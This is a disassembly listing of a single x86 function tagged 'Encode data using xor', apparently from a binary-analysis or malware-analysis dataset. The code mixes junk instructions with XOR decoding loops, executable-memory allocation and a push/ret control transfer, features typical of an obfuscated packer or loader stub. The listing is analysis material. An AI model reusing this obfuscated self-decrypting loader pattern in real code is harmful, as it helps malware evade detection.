Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7ebe4c88
dec eax
and ebx, eax
sub ebx, 1
popal
inc eax
mov ebx, 0x8dced67b
mov ebx, 0
mov edx, eax
sub edi, 0xa4a835e4
sub ecx, edi
mov esi, edx
add edi, edi
add ecx, edi
mov eax, esi
mov edi, 0xbcf828a3
sub edi, ecx
inc ebx
mov edi, 0xdf8644aa
not edi
cmp ebx, 0x100fde6
jne 0xa789c7
sub ecx, 0x16d17d4c
and ecx, ecx
mov ebx, 0x58f92280
add ebx, ebx
mov eax, 0xa78796
or edx, edx
mov ebx, 0xa3b66d3c
inc esi
mov ecx, 0xa7898a
add ebx, 0x115c77f0
not ebx
mov edi, dword [eax]
and edx, ebx
add esi, 0x11ad9eea
and edi, 0xff
add esi, edx
sub ebx, 0xbab301f5
xor dword [ecx], edi
mov edx, esi
add ebx, 0x6dde76f2
inc ecx
and esi, edx
add esi, ebx
add eax, 1
add esi, 0x934b65fe
sub ebx, 1
cmp ecx, entry0
jl 0xa78a1d
or esi, esi
mov edx, ebx
or edx, esi
add edx, edx
and ecx, ecx
mov edi, edx
mov esi, 0xa7898e
or ecx, edx
add edx, ebx
mov esi, dword [esi]
or ebx, edx
or edx, edx
mov ecx, edx
mov esi, dword [esi]
add edx, ecx
sub ecx, edi
sub edx, edi
push esi
inc ebx
dec edi
mov esi, 0xa7898a
inc ecx
add edx, ebx
mov ecx, edx
mov esi, dword [esi]
inc edx
and ecx, edi
mov esi, dword [esi]
mov edx, 0xbe4b7282
mov ecx, 0x9bc92f6e
dec ecx
push 0xa78992
or ebx, ecx
sub ecx, 0x92f31517
call esi
sub edi, edx
sub edx, edi
mov esi, dword [esp]
add esp, 4
add ebx, ecx
sub ebx, 1
sub esp, 4
mov dword [esp], 0xa7899f
add edx, 1
add ecx, 0x52f43591
not ebx
push eax
add edi, ebx
sub edx, 0x94b907dd
and edx, edx
call esi
inc edx
mov edi, 0x5a3f49ab
push 0x40
or edx, edx
mov edx, 0x7308bb4c
push 0x3000
sub ebx, 0x60885d33
inc ecx
push 0x20000787
add ebx, ecx
not edx
sub esp, 4
mov dword [esp], 0
and ebx, edi
sub edi, ecx
call eax
or ecx, edi
add ecx, 0xbbca9478
add eax, 0x20000716
add ebx, edi
sub edx, 0xc04cac24
add edi, 0xc009dafb
mov esi, 0x94f28851
sub edx, 0x3f7bdac6
dec edi
mov dword [eax], esi
add edi, ecx
add ecx, 0x35ec0385
mov esi, dword [eax]
add ebx, ecx
add edx, 0x76d30cd
cmp esi, 0x94f28851
je 0xa78b6e
mov ecx, 0
mov byte [ecx], dl
sub ecx, ebx
sub ebx, edi
dec edx
dec ebx
or eax, eax
or eax, ebx
mov ebx, eax
mov edi, section..reltc
mov eax, ebx
add eax, ebx
and ebx, ebx
mov edx, 0xa78795
sub ebx, eax
add eax, eax
mov esi, 0
not eax
or ebx, eax
mov ecx, 0xa78796
and ebx, ebx
not eax
inc eax
lea ecx, [esi + ecx]
or eax, ebx
inc eax
mov ecx, dword [ecx]
not eax
or ebx, ebx
add eax, ebx
and ecx, 0xff
mov eax, ebx
mov eax, ebx
inc esi
or eax, ebx
add eax, 0x535da4ca
cmp esi, 0x1f4
jne 0xa78bcf
mov esi, 0
mov ebx, 0xd0c8e826
and ebx, eax
sub ebx, eax
dec eax
add ebx, eax
xor dword [edi], ecx
sub eax, ebx
add eax, 0xdf19229c
dec ebx
add edi, 2
dec ebx
add ebx, ebx
sub ebx, 0xea195e0f
cmp edi, edx
jl 0xa78b97
sub eax, 1
sub ebx, 0x31df10f1
not eax
add ebx, ebx
inc ebx
sub ebx, 0xca8821f7
mov esi, section..reltc
mov eax, edi
mov edi, eax
mov edi, eax
mov ebx, section..reltc
add edi, 0xb250e1f8
or edi, edi
mov ecx, 0xa78795
sub edi, 0x708c5c32
dec eax
mov edx, 0
mov eax, edi
sub eax, 0xd49d3430
and eax, edi
mov dl, byte [ebx]
or eax, eax
sub eax, 0x57ce41b8
add eax, 0xc09b9abe
mov byte [esi], dl
sub edi, 0xc5d5312
not edi
add edi, 0x7c5c95a7
inc esi
sub edi, 1
and edi, edi
add edi, eax
add ebx, 2
and edi, eax
sub edi, 0x91a00e
cmp ebx, ecx
jle 0xa78c47
dec eax
or edi, eax
or ebx, ebx
sub ebx, eax
not ebx
push 0x8dc6a0
and eax, eax
mov eax, ebx
ret